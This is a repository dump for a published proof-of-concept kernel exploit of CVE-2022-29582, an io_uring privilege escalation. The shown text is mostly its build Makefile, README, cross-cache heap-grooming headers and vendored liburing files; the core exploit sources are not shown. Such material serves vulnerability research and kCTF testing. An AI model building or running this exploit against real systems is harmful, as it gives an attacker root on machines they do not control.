├── Makefile ├── README.md ├── affinity.h ├── bin └── exp ├── cross_cache.c ├── cross_cache.h ├── err_state.h ├── liburing ├── .github │ ├── pull_request_template.md │ └── workflows │ │ ├── build.yml │ │ └── shellcheck.yml ├── .gitignore ├── CHANGELOG ├── CITATION.cff ├── COPYING ├── COPYING.GPL ├── LICENSE ├── Makefile ├── Makefile.common ├── Makefile.quiet ├── README ├── SECURITY.md ├── configure ├── debian │ ├── README.Debian │ ├── changelog │ ├── compat │ ├── control │ ├── copyright │ ├── liburing-dev.install │ ├── liburing-dev.manpages │ ├── liburing1-udeb.install │ ├── liburing1.install │ ├── liburing1.symbols │ ├── patches │ │ └── series │ ├── rules │ ├── source │ │ ├── format │ │ ├── local-options │ │ └── options │ └── watch ├── examples │ ├── Makefile │ ├── io_uring-cp.c │ ├── io_uring-test.c │ ├── link-cp.c │ └── ucontext-cp.c ├── liburing.pc.in ├── liburing.spec ├── make-debs.sh ├── man │ ├── io_uring.7 │ ├── io_uring_buf_ring_add.3 │ ├── io_uring_buf_ring_advance.3 │ ├── io_uring_buf_ring_cq_advance.3 │ ├── io_uring_buf_ring_init.3 │ ├── io_uring_buf_ring_mask.3 │ ├── io_uring_cq_advance.3 │ ├── io_uring_cq_ready.3 │ ├── io_uring_cqe_get_data.3 │ ├── io_uring_cqe_get_data64.3 │ ├── io_uring_cqe_seen.3 │ ├── io_uring_enter.2 │ ├── io_uring_free_probe.3 │ ├── io_uring_get_probe.3 │ ├── io_uring_get_sqe.3 │ ├── io_uring_opcode_supported.3 │ ├── io_uring_peek_cqe.3 │ ├── io_uring_prep_accept.3 │ ├── io_uring_prep_accept_direct.3 │ ├── io_uring_prep_cancel.3 │ ├── io_uring_prep_cancel64.3 │ ├── io_uring_prep_close.3 │ ├── io_uring_prep_close_direct.3 │ ├── io_uring_prep_connect.3 │ ├── io_uring_prep_fadvise.3 │ ├── io_uring_prep_fallocate.3 │ ├── io_uring_prep_files_update.3 │ ├── io_uring_prep_fsync.3 │ ├── io_uring_prep_link.3 │ ├── io_uring_prep_linkat.3 │ ├── io_uring_prep_madvise.3 │ ├── io_uring_prep_mkdir.3 │ ├── io_uring_prep_mkdirat.3 │ ├── io_uring_prep_msg_ring.3 │ ├── io_uring_prep_multishot_accept.3 │ ├── io_uring_prep_multishot_accept_direct.3 │ ├── io_uring_prep_openat.3 │ ├── io_uring_prep_openat2.3 │ ├── io_uring_prep_openat2_direct.3 │ ├── io_uring_prep_openat_direct.3 │ ├── io_uring_prep_poll_add.3 │ ├── io_uring_prep_poll_multishot.3 │ ├── io_uring_prep_poll_remove.3 │ ├── io_uring_prep_poll_update.3 │ ├── io_uring_prep_provide_buffers.3 │ ├── io_uring_prep_read.3 │ ├── io_uring_prep_read_fixed.3 │ ├── io_uring_prep_readv.3 │ ├── io_uring_prep_readv2.3 │ ├── io_uring_prep_recv.3 │ ├── io_uring_prep_recvmsg.3 │ ├── io_uring_prep_remove_buffers.3 │ ├── io_uring_prep_rename.3 │ ├── io_uring_prep_renameat.3 │ ├── io_uring_prep_send.3 │ ├── io_uring_prep_sendmsg.3 │ ├── io_uring_prep_shutdown.3 │ ├── io_uring_prep_socket.3 │ ├── io_uring_prep_socket_direct.3 │ ├── io_uring_prep_splice.3 │ ├── io_uring_prep_statx.3 │ ├── io_uring_prep_symlink.3 │ ├── io_uring_prep_symlinkat.3 │ ├── io_uring_prep_sync_file_range.3 │ ├── io_uring_prep_tee.3 │ ├── io_uring_prep_timeout.3 │ ├── io_uring_prep_timeout_remove.3 │ ├── io_uring_prep_timeout_update.3 │ ├── io_uring_prep_unlink.3 │ ├── io_uring_prep_unlinkat.3 │ ├── io_uring_prep_write.3 │ ├── io_uring_prep_write_fixed.3 │ ├── io_uring_prep_writev.3 │ ├── io_uring_prep_writev2.3 │ ├── io_uring_queue_exit.3 │ ├── io_uring_queue_init.3 │ ├── io_uring_queue_init_params.3 │ ├── io_uring_register.2 │ ├── io_uring_register_buf_ring.3 │ ├── io_uring_register_buffers.3 │ ├── io_uring_register_eventfd.3 │ ├── io_uring_register_eventfd_async.3 │ ├── io_uring_register_files.3 │ ├── io_uring_register_iowq_aff.3 │ ├── io_uring_register_iowq_max_workers.3 │ ├── io_uring_register_ring_fd.3 │ ├── io_uring_setup.2 │ ├── io_uring_sq_ready.3 │ ├── io_uring_sq_space_left.3 │ ├── io_uring_sqe_set_data.3 │ ├── io_uring_sqe_set_data64.3 │ ├── io_uring_sqe_set_flags.3 │ ├── io_uring_sqring_wait.3 │ ├── io_uring_submit.3 │ ├── io_uring_submit_and_wait.3 │ ├── io_uring_submit_and_wait_timeout.3 │ ├── io_uring_unregister_buf_ring.3 │ ├── io_uring_unregister_buffers.3 │ ├── io_uring_unregister_eventfd.3 │ ├── io_uring_unregister_files.3 │ ├── io_uring_unregister_iowq_aff.3 │ ├── io_uring_unregister_ring_fd.3 │ ├── io_uring_wait_cqe.3 │ ├── io_uring_wait_cqe_nr.3 │ ├── io_uring_wait_cqe_timeout.3 │ └── io_uring_wait_cqes.3 ├── src │ ├── Makefile │ ├── arch │ │ ├── aarch64 │ │ │ └── syscall.h │ │ ├── generic │ │ │ ├── lib.h │ │ │ └── syscall.h │ │ ├── syscall-defs.h │ │ └── x86 │ │ │ ├── lib.h │ │ │ └── syscall.h │ ├── include │ │ ├── liburing.h │ │ └── liburing │ │ │ ├── barrier.h │ │ │ └── io_uring.h │ ├── int_flags.h │ ├── lib.h │ ├── liburing.map │ ├── nolibc.c │ ├── queue.c │ ├── register.c │ ├── setup.c │ ├── syscall.c │ └── syscall.h └── test │ ├── 232c93d07b74.c │ ├── 35fa71a030ca.c │ ├── 500f9fbadef8.c │ ├── 7ad0e4b2f83c.c │ ├── 8a9973408177.c │ ├── 917257daa0fe.c │ ├── Makefile │ ├── a0908ae19763.c │ ├── a4c0b3decb33.c │ ├── accept-link.c │ ├── accept-reuse.c │ ├── accept-test.c │ ├── accept.c │ ├── across-fork.c │ ├── b19062a56726.c │ ├── b5837bd5311d.c │ ├── buf-ring.c │ ├── ce593a6c480a.c │ ├── close-opath.c │ ├── config │ ├── connect.c │ ├── cq-full.c │ ├── cq-overflow.c │ ├── cq-peek-batch.c │ ├── cq-ready.c │ ├── cq-size.c │ ├── d4ae271dfaae.c │ ├── d77a67ed5f27.c │ ├── defer.c │ ├── double-poll-crash.c │ ├── drop-submit.c │ ├── eeed8b54e0df.c │ ├── empty-eownerdead.c │ ├── eventfd-disable.c │ ├── eventfd-reg.c │ ├── eventfd-ring.c │ ├── eventfd.c │ ├── exec-target.c │ ├── exit-no-cleanup.c │ ├── fadvise.c │ ├── fallocate.c │ ├── fc2a85cb02ef.c │ ├── file-register.c │ ├── file-update.c │ ├── file-verify.c │ ├── files-exit-hang-poll.c │ ├── files-exit-hang-timeout.c │ ├── fixed-buf-iter.c │ ├── fixed-link.c │ ├── fixed-reuse.c │ ├── fpos.c │ ├── fsync.c │ ├── hardlink.c │ ├── helpers.c │ ├── helpers.h │ ├── io-cancel.c │ ├── io_uring_enter.c │ ├── io_uring_register.c │ ├── io_uring_setup.c │ ├── iopoll.c │ ├── lfs-openat-write.c │ ├── lfs-openat.c │ ├── link-timeout.c │ ├── link.c │ ├── link_drain.c │ ├── madvise.c │ ├── mkdir.c │ ├── msg-ring.c │ ├── multicqes_drain.c │ ├── nop-all-sizes.c │ ├── nop.c │ ├── open-close.c │ ├── open-direct-link.c │ ├── open-direct-pick.c │ ├── openat2.c │ ├── personality.c │ ├── pipe-eof.c │ ├── pipe-reuse.c │ ├── poll-cancel-all.c │ ├── poll-cancel-ton.c │ ├── poll-cancel.c │ ├── poll-link.c │ ├── poll-many.c │ ├── poll-mshot-update.c │ ├── poll-ring.c │ ├── poll-v-poll.c │ ├── poll.c │ ├── pollfree.c │ ├── probe.c │ ├── read-before-exit.c │ ├── read-write.c │ ├── recv-msgall-stream.c │ ├── recv-msgall.c │ ├── register-restrictions.c │ ├── rename.c │ ├── ring-leak.c │ ├── ring-leak2.c │ ├── ringbuf-read.c │ ├── rsrc_tags.c │ ├── runtests-loop.sh │ ├── runtests-quiet.sh │ ├── runtests.sh │ ├── rw_merge_test.c │ ├── self.c │ ├── send_recv.c │ ├── send_recvmsg.c │ ├── sendmsg_fs_cve.c │ ├── shared-wq.c │ ├── short-read.c │ ├── shutdown.c │ ├── sigfd-deadlock.c │ ├── skip-cqe.c │ ├── socket-rw-eagain.c │ ├── socket-rw-offset.c │ ├── socket-rw.c │ ├── socket.c │ ├── splice.c │ ├── sq-full-cpp.cc │ ├── sq-full.c │ ├── sq-poll-dup.c │ ├── sq-poll-kthread.c │ ├── sq-poll-share.c │ ├── sq-space_left.c │ ├── sqpoll-cancel-hang.c │ ├── sqpoll-disable-exit.c │ ├── sqpoll-exit-hang.c │ ├── sqpoll-sleep.c │ ├── statx.c │ ├── stdout.c │ ├── submit-link-fail.c │ ├── submit-reuse.c │ ├── symlink.c │ ├── teardowns.c │ ├── test.h │ ├── thread-exit.c │ ├── timeout-new.c │ ├── timeout-overflow.c │ ├── timeout.c │ ├── tty-write-dpoll.c │ ├── unlink.c │ ├── wakeup-hang.c │ └── xattr.c ├── main.c ├── manager.c ├── manager.h ├── msg.c ├── msg.h ├── ring_helpers.h ├── rop.h ├── tls.c ├── tls.h └── vmlinuz-5.10.90 /Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: 3 | mkdir -p bin/ 4 | gcc -g -o bin/exp \ 5 | ./liburing/test/helpers.c \ 6 | -I./liburing/src/include/ \ 7 | -w -O2 ./liburing/src/liburing.a \ 8 | cross_cache.c msg.c manager.c tls.c main.c \ 9 | -static -lrt -lpthread -luring \ 10 | -Wl,--whole-archive -Wl,--no-whole-archive 11 | 12 | clean: 13 | rm -r bin 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-29582 2 | This repository contains exploit code for CVE-2022-29582, a Local Privilege Escalation in `io_uring` (of the Linux kernel). 3 | 4 | Default configurations are affected and no special privileges should be needed. 5 | 6 | You can find the writeup at [https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/](https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/) 7 | 8 | ## Building 9 | Running 10 | 11 | ```bash 12 | make 13 | ``` 14 | 15 | should result in a shiny new executable - or just use the pre-commited one :) 16 | 17 | ## Testing 18 | First, check the writeup for the (micro)arch specs. Then run the given kernel: vmlinuz-5.10.90. 19 | The exploit (particularly now the ROP chain) should work fine with the kCTF setup. 20 | -------------------------------------------------------------------------------- /affinity.h: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | 4 | void pin_cpu(int cpu) { 5 | cpu_set_t cpuset = {0}; 6 | CPU_SET(cpu, &cpuset); 7 | sched_setaffinity(0, sizeof(cpuset), &cpuset); 8 | } 9 | -------------------------------------------------------------------------------- /bin/exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ruia-ruia/CVE-2022-29582-Exploit/91767eeb61953eb2a34dce18d9415062d7eef522/bin/exp -------------------------------------------------------------------------------- /cross_cache.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "err_state.h" 5 | 6 | enum { 7 | PHASE_0, 8 | PHASE_1, 9 | PHASE_2, 10 | PHASE_3, 11 | PHASE_4, 12 | PHASE_CLEAN 13 | }; 14 | 15 | struct cross_cache { 16 | uint32_t objs_per_page; 17 | uint32_t cpu_partial; 18 | uint32_t objs_per_slab; 19 | int64_t *object_refs; 20 | uint32_t n_objects; 21 | uint8_t phase; 22 | uint32_t prev_count; 23 | int (*allocate)(); 24 | int (*free)(int64_t); 25 | }; 26 | 27 | struct cross_cache* init_cross_cache(void *allocate_fptr, 28 | void *free_fptr, 29 | uint32_t objs_per_slab, 30 | uint32_t cpu_partial, 31 | uint32_t objs_per_page); 32 | void deinit_cross_cache(struct cross_cache* cc); 33 | int64_t cc_next(struct cross_cache *cc); 34 | 35 | 36 | -------------------------------------------------------------------------------- /err_state.h: -------------------------------------------------------------------------------- 1 | #ifndef ERR_STATE_H 2 | #define ERR_STATE_H 3 | 4 | #define SUCC (0) 5 | #define ERR (-1) 6 | #define ERR_PTR (NULL) 7 | #define ERR_UNFIN(i) ((i > 0) ? i : ERR) 8 | 9 | #define IS_ERR(i) (i == -1) 10 | #define IS_ERR_PTR(i) (i == NULL) 11 | 12 | #define IF_ERR(i) \ 13 | if (IS_ERR(i)) \ 14 | 15 | #define IF_ERR_PTR(i) \ 16 | if (IS_ERR_PTR(i)) \ 17 | 18 | #define IF_ERR_BREAK(i) \ 19 | IF_ERR(i) { \ 20 | break; \ 21 | } 22 | 23 | #define IF_ERR_PTR_BREAK(i) \ 24 | IF_ERR_PTR(i) { \ 25 | break; \ 26 | } 27 | 28 | #define IF_ERR_RET(i) \ 29 | IF_ERR(i) { \ 30 | return ERR; \ 31 | } 32 | 33 | #define IF_ERR_PTR_RET(i) \ 34 | IF_ERR_PTR(i) { \ 35 | return ERR; \ 36 | } 37 | 38 | static inline int XCHNG_FD(int i, int j) { 39 | int x = j; j = i; return x; 40 | } 41 | 42 | /* When this is the return type it means that 43 | * the return value encodes only success/failure. 44 | * Contrary to encoding data or reference to data. */ 45 | typedef int err_t; 46 | 47 | #endif // ERR_STATE_H 48 | -------------------------------------------------------------------------------- /liburing/.github/workflows/shellcheck.yml: -------------------------------------------------------------------------------- 1 | name: Shellcheck 2 | 3 | on: 4 | # Trigger the workflow on push or pull requests. 5 | push: 6 | pull_request: 7 | 8 | jobs: 9 | test: 10 | runs-on: ubuntu-latest 11 | 12 | steps: 13 | - name: Checkout source 14 | uses: actions/checkout@v2 15 | 16 | - name: Display shellcheck version 17 | run: shellcheck --version 18 | 19 | - name: Shellcheck execution 20 | run: shellcheck test/runtest*.sh 21 | -------------------------------------------------------------------------------- /liburing/.gitignore: -------------------------------------------------------------------------------- 1 | *.rej 2 | *.orig 3 | *~ 4 | /*.patch 5 | 6 | *.d 7 | *.o 8 | *.o[ls] 9 | 10 | /src/liburing.a 11 | /src/liburing.so* 12 | /src/include/liburing/compat.h 13 | 14 | /examples/io_uring-cp 15 | /examples/io_uring-test 16 | /examples/link-cp 17 | /examples/ucontext-cp 18 | 19 | /test/*.t 20 | /test/*.dmesg 21 | /test/output/ 22 | 23 | config-host.h 24 | config-host.mak 25 | config.log 26 | 27 | liburing.pc 28 | 29 | cscope.out 30 | -------------------------------------------------------------------------------- /liburing/CHANGELOG: -------------------------------------------------------------------------------- 1 | liburing-2.2 release 2 | 3 | - Support non-libc builds. 4 | - Optimized syscall handling for x86-64/x86/aarch64. 5 | - Enable non-lib function calls for fast path functions. 6 | - Add support for multishot accept. 7 | - io_uring_register_files() will set RLIMIT_NOFILE if necessary. 8 | - Add support for registered ring fds, io_uring_register_ring_fd(), 9 | reducingthe overhead of an io_uring_enter() system call. 10 | - Add support for the message ring opcode. 11 | - Add support for newer request cancelation features. 12 | - Add support for IORING_SETUP_COOP_TASKRUN, which can help reduce the 13 | overhead of io_uring in general. Most applications should set this flag, 14 | see the io_uring_setup.2 man page for details. 15 | - Add support for registering a sparse buffer and file set. 16 | - Add support for a new buffer provide scheme, see 17 | io_uring_register_buf_ring.3 for details. 18 | - Add io_uring_submit_and_wait_timeout() for submitting IO and waiting 19 | for completions with a timeout. 20 | - Add io_uring_prep_{read,write}v2 prep helpers. 21 | - Add io_uring_prep_close_direct() helper. 22 | - Add support for SQE128 and CQE32, which are doubly sized SQE and CQE 23 | rings. This is needed for some cases of the new IORING_OP_URING_CMD, 24 | notably for NVMe passthrough. 25 | - ~5500 lines of man page additions, including adding ~90 new man pages. 26 | - Synced with the 5.19 kernel release, supporting all the features of 27 | 5.19 and earlier. 28 | - 24 new regression test cases, and ~7000 lines of new tests in general. 29 | - General optimizations and fixes. 30 | -------------------------------------------------------------------------------- /liburing/CITATION.cff: -------------------------------------------------------------------------------- 1 | cff-version: 1.2.0 2 | preferred-citation: 3 | type: software 4 | authors: 5 | - family-names: "Axboe" 6 | given-names: "Jens" 7 | email: axboe@kernel.dk 8 | title: "liburing library for io_uring" 9 | year: 2022 10 | url: "https://github.com/axboe/liburing" 11 | licence: MIT 12 | -------------------------------------------------------------------------------- /liburing/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2020 Jens Axboe 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a 4 | copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included 12 | in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 15 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 17 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 18 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 19 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 20 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /liburing/Makefile: -------------------------------------------------------------------------------- 1 | include Makefile.common 2 | 3 | RPMBUILD=$(shell `which rpmbuild >&/dev/null` && echo "rpmbuild" || echo "rpm") 4 | 5 | INSTALL=install 6 | 7 | default: all 8 | 9 | all: 10 | @$(MAKE) -C src 11 | @$(MAKE) -C test 12 | @$(MAKE) -C examples 13 | 14 | .PHONY: all install default clean test 15 | .PHONY: FORCE cscope 16 | 17 | partcheck: all 18 | @echo "make partcheck => TODO add tests with out kernel support" 19 | 20 | runtests: all 21 | @$(MAKE) -C test runtests 22 | runtests-loop: all 23 | @$(MAKE) -C test runtests-loop 24 | runtests-parallel: all 25 | @$(MAKE) -C test runtests-parallel 26 | 27 | config-host.mak: configure 28 | @if [ ! -e "$@" ]; then \ 29 | echo "Running configure ..."; \ 30 | ./configure; \ 31 | else \ 32 | echo "$@ is out-of-date, running configure"; \ 33 | sed -n "/.*Configured with/s/[^:]*: //p" "$@" | sh; \ 34 | fi 35 | 36 | ifneq ($(MAKECMDGOALS),clean) 37 | include config-host.mak 38 | endif 39 | 40 | %.pc: %.pc.in config-host.mak $(SPECFILE) 41 | sed -e "s%@prefix@%$(prefix)%g" \ 42 | -e "s%@libdir@%$(libdir)%g" \ 43 | -e "s%@includedir@%$(includedir)%g" \ 44 | -e "s%@NAME@%$(NAME)%g" \ 45 | -e "s%@VERSION@%$(VERSION)%g" \ 46 | $< >$@ 47 | 48 | install: $(NAME).pc 49 | @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) \ 50 | includedir=$(DESTDIR)$(includedir) \ 51 | libdir=$(DESTDIR)$(libdir) \ 52 | libdevdir=$(DESTDIR)$(libdevdir) \ 53 | relativelibdir=$(relativelibdir) 54 | $(INSTALL) -D -m 644 $(NAME).pc $(DESTDIR)$(libdevdir)/pkgconfig/$(NAME).pc 55 | $(INSTALL) -m 755 -d $(DESTDIR)$(mandir)/man2 56 | $(INSTALL) -m 644 man/*.2 $(DESTDIR)$(mandir)/man2 57 | $(INSTALL) -m 755 -d $(DESTDIR)$(mandir)/man3 58 | $(INSTALL) -m 644 man/*.3 $(DESTDIR)$(mandir)/man3 59 | $(INSTALL) -m 755 -d $(DESTDIR)$(mandir)/man7 60 | $(INSTALL) -m 644 man/*.7 $(DESTDIR)$(mandir)/man7 61 | 62 | install-tests: 63 | @$(MAKE) -C test install prefix=$(DESTDIR)$(prefix) datadir=$(DESTDIR)$(datadir) 64 | 65 | clean: 66 | @rm -f config-host.mak config-host.h cscope.out $(NAME).pc test/*.dmesg 67 | @$(MAKE) -C src clean 68 | @$(MAKE) -C test clean 69 | @$(MAKE) -C examples clean 70 | 71 | cscope: 72 | @cscope -b -R 73 | 74 | tag-archive: 75 | @git tag $(TAG) 76 | 77 | create-archive: 78 | @git archive --prefix=$(NAME)-$(VERSION)/ -o $(NAME)-$(VERSION).tar.gz $(TAG) 79 | @echo "The final archive is ./$(NAME)-$(VERSION).tar.gz." 80 | 81 | archive: clean tag-archive create-archive 82 | 83 | srpm: create-archive 84 | $(RPMBUILD) --define "_sourcedir `pwd`" --define "_srcrpmdir `pwd`" --nodeps -bs $(SPECFILE) 85 | -------------------------------------------------------------------------------- /liburing/Makefile.common: -------------------------------------------------------------------------------- 1 | TOP := $(dir $(CURDIR)/$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST))) 2 | NAME=liburing 3 | SPECFILE=$(TOP)/$(NAME).spec 4 | VERSION=$(shell awk '/Version:/ { print $$2 }' $(SPECFILE)) 5 | VERSION_MAJOR=$(shell echo $(VERSION) | cut -d. -f1) 6 | TAG = $(NAME)-$(VERSION) 7 | -------------------------------------------------------------------------------- /liburing/Makefile.quiet: -------------------------------------------------------------------------------- 1 | ifneq ($(findstring $(MAKEFLAGS),s),s) 2 | ifndef V 3 | QUIET_CC = @echo ' ' CC $@; 4 | QUIET_CXX = @echo ' ' CXX $@; 5 | QUIET_LINK = @echo ' ' LINK $@; 6 | QUIET_AR = @echo ' ' AR $@; 7 | QUIET_RANLIB = @echo '' RANLIB $@; 8 | endif 9 | endif 10 | 11 | 12 | -------------------------------------------------------------------------------- /liburing/README: -------------------------------------------------------------------------------- 1 | liburing 2 | -------- 3 | 4 | This is the io_uring library, liburing. liburing provides helpers to setup and 5 | teardown io_uring instances, and also a simplified interface for 6 | applications that don't need (or want) to deal with the full kernel 7 | side implementation. 8 | 9 | For more info on io_uring, please see: 10 | 11 | https://kernel.dk/io_uring.pdf 12 | 13 | Subscribe to io-uring@vger.kernel.org for io_uring related discussions 14 | and development for both kernel and userspace. The list is archived here: 15 | 16 | https://lore.kernel.org/io-uring/ 17 | 18 | 19 | kernel version dependency 20 | -------------------------- 21 | 22 | liburing itself is not tied to any specific kernel release, and hence it's 23 | possible to use the newest liburing release even on older kernels (and vice 24 | versa). Newer features may only be available on more recent kernels, 25 | obviously. 26 | 27 | 28 | ulimit settings 29 | --------------- 30 | 31 | io_uring accounts memory it needs under the rlimit memlocked option, which 32 | can be quite low on some setups (64K). The default is usually enough for 33 | most use cases, but bigger rings or things like registered buffers deplete 34 | it quickly. root isn't under this restriction, but regular users are. Going 35 | into detail on how to bump the limit on various systems is beyond the scope 36 | of this little blurb, but check /etc/security/limits.conf for user specific 37 | settings, or /etc/systemd/user.conf and /etc/systemd/system.conf for systemd 38 | setups. This affects 5.11 and earlier, new kernels are less dependent 39 | on RLIMIT_MEMLOCK as it is only used for registering buffers. 40 | 41 | 42 | Regressions tests 43 | ----------------- 44 | 45 | The bulk of liburing is actually regression/unit tests for both liburing and 46 | the kernel io_uring support. Please note that this suite isn't expected to 47 | pass on older kernels, and may even crash or hang older kernels! 48 | 49 | 50 | License 51 | ------- 52 | 53 | All software contained within this repo is dual licensed LGPL and MIT, see 54 | COPYING and LICENSE, except for a header coming from the kernel which is 55 | dual licensed GPL with a Linux-syscall-note exception and MIT, see 56 | COPYING.GPL and . 57 | 58 | Jens Axboe 2022-05-19 59 | -------------------------------------------------------------------------------- /liburing/SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Reporting a Vulnerability 4 | 5 | Please report any security issue to axboe@kernel.dk where the issue will be triaged appropriately. 6 | Thank you in advance for helping to keep liburing secure. 7 | -------------------------------------------------------------------------------- /liburing/debian/README.Debian: -------------------------------------------------------------------------------- 1 | liburing for Debian 2 | 3 | The newest Linux IO interface i.e. io_uring, need 4 | userspace library to support it. This package 5 | liburing is the library for io_uring. 6 | 7 | -- Liu Changcheng Thu, 14 Nov 2019 21:35:39 +0800 8 | -------------------------------------------------------------------------------- /liburing/debian/changelog: -------------------------------------------------------------------------------- 1 | liburing (0.7-1) stable; urgency=low 2 | 3 | * Update to 0.7 4 | * Fix library symlinks 5 | 6 | -- Stefan Metzmacher Thu, 23 Jul 2020 00:23:00 +0200 7 | 8 | liburing (0.4-2) stable; urgency=low 9 | 10 | * Fix /usr/lib/*/liburing.so symlink to /lib/*/liburing.so.1.0.4 11 | 12 | -- Stefan Metzmacher Fri, 07 Feb 2020 15:30:00 +0100 13 | 14 | liburing (0.4-1) stable; urgency=low 15 | 16 | * Package liburing-0.4 using a packaging layout similar to libaio1 17 | 18 | -- Stefan Metzmacher Thu, 06 Feb 2020 11:30:00 +0100 19 | 20 | liburing (0.2-1ubuntu1) stable; urgency=low 21 | 22 | * Initial release. 23 | * commit 4bce856d43ab1f9a64477aa5a8f9f02f53e64b74 24 | * Author: Jens Axboe 25 | * Date: Mon Nov 11 16:00:58 2019 -0700 26 | 27 | -- Liu Changcheng Fri, 15 Nov 2019 00:06:46 +0800 28 | -------------------------------------------------------------------------------- /liburing/debian/compat: -------------------------------------------------------------------------------- 1 | 9 2 | -------------------------------------------------------------------------------- /liburing/debian/control: -------------------------------------------------------------------------------- 1 | Source: liburing 2 | Section: libs 3 | Priority: optional 4 | Maintainer: Liu Changcheng 5 | Build-Depends: debhelper (>=9) 6 | Standards-Version: 4.1.4 7 | Homepage: https://git.kernel.dk/cgit/liburing/tree/README 8 | Vcs-Git: https://git.kernel.dk/liburing 9 | Vcs-Browser: https://git.kernel.dk/cgit/liburing/ 10 | 11 | Package: liburing1 12 | Architecture: linux-any 13 | Multi-Arch: same 14 | Pre-Depends: ${misc:Pre-Depends} 15 | Depends: ${misc:Depends}, ${shlibs:Depends} 16 | Description: userspace library for using io_uring 17 | io_uring is kernel feature to improve development 18 | The newese Linux IO interface, io_uring could improve 19 | system performance a lot. liburing is the userpace 20 | library to use io_uring feature. 21 | . 22 | This package contains the shared library. 23 | 24 | Package: liburing1-udeb 25 | Package-Type: udeb 26 | Section: debian-installer 27 | Architecture: linux-any 28 | Depends: ${misc:Depends}, ${shlibs:Depends}, 29 | Description: userspace library for using io_uring 30 | io_uring is kernel feature to improve development 31 | The newese Linux IO interface, io_uring could improve 32 | system performance a lot. liburing is the userpace 33 | library to use io_uring feature. 34 | . 35 | This package contains the udeb shared library. 36 | 37 | Package: liburing-dev 38 | Section: libdevel 39 | Architecture: linux-any 40 | Multi-Arch: same 41 | Depends: ${misc:Depends}, liburing1 (= ${binary:Version}), 42 | Description: userspace library for using io_uring 43 | io_uring is kernel feature to improve development 44 | The newese Linux IO interface, io_uring could improve 45 | system performance a lot. liburing is the userpace 46 | library to use io_uring feature. 47 | . 48 | This package contains the static library and the header files. 49 | -------------------------------------------------------------------------------- /liburing/debian/copyright: -------------------------------------------------------------------------------- 1 | Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ 2 | Upstream-Name: liburing 3 | Source: https://git.kernel.dk/cgit/liburing/ 4 | 5 | Files: * 6 | Copyright: 2019 Jens Axboe 7 | License: GPL-2+ / MIT 8 | 9 | Files: debian/* 10 | Copyright: 2019 Changcheng Liu 11 | License: GPL-2+ 12 | 13 | License: GPL-2+ 14 | This package is free software; you can redistribute it and/or modify 15 | it under the terms of the GNU General Public License as published by 16 | the Free Software Foundation; either version 2 of the License, or 17 | (at your option) any later version. 18 | . 19 | This package is distributed in the hope that it will be useful, 20 | but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 22 | GNU General Public License for more details. 23 | . 24 | You should have received a copy of the GNU General Public License 25 | along with this program. If not, see 26 | . 27 | On Debian systems, the complete text of the GNU General 28 | Public License version 2 can be found in "/usr/share/common-licenses/GPL-2". 29 | 30 | License: MIT 31 | Copyright 2020 Jens Axboe 32 | 33 | Permission is hereby granted, free of charge, to any person obtaining a copy 34 | of this software and associated documentation files (the "Software"), to deal 35 | in the Software without restriction, including without limitation the rights 36 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 37 | copies of the Software, and to permit persons to whom the Software is 38 | furnished to do so, subject to the following conditions: 39 | 40 | The above copyright notice and this permission notice shall be included in all 41 | copies or substantial portions of the Software. 42 | 43 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 44 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 45 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 46 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 47 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 48 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 49 | SOFTWARE. 50 | -------------------------------------------------------------------------------- /liburing/debian/liburing-dev.install: -------------------------------------------------------------------------------- 1 | usr/include 2 | usr/lib/*/lib*.so 3 | usr/lib/*/lib*.a 4 | usr/lib/*/pkgconfig 5 | -------------------------------------------------------------------------------- /liburing/debian/liburing-dev.manpages: -------------------------------------------------------------------------------- 1 | man/io_uring_setup.2 2 | man/io_uring_enter.2 3 | man/io_uring_register.2 4 | man/io_uring_queue_exit.3 5 | man/io_uring_queue_init.3 6 | man/io_uring_get_sqe.3 7 | -------------------------------------------------------------------------------- /liburing/debian/liburing1-udeb.install: -------------------------------------------------------------------------------- 1 | lib/*/lib*.so.* 2 | -------------------------------------------------------------------------------- /liburing/debian/liburing1.install: -------------------------------------------------------------------------------- 1 | 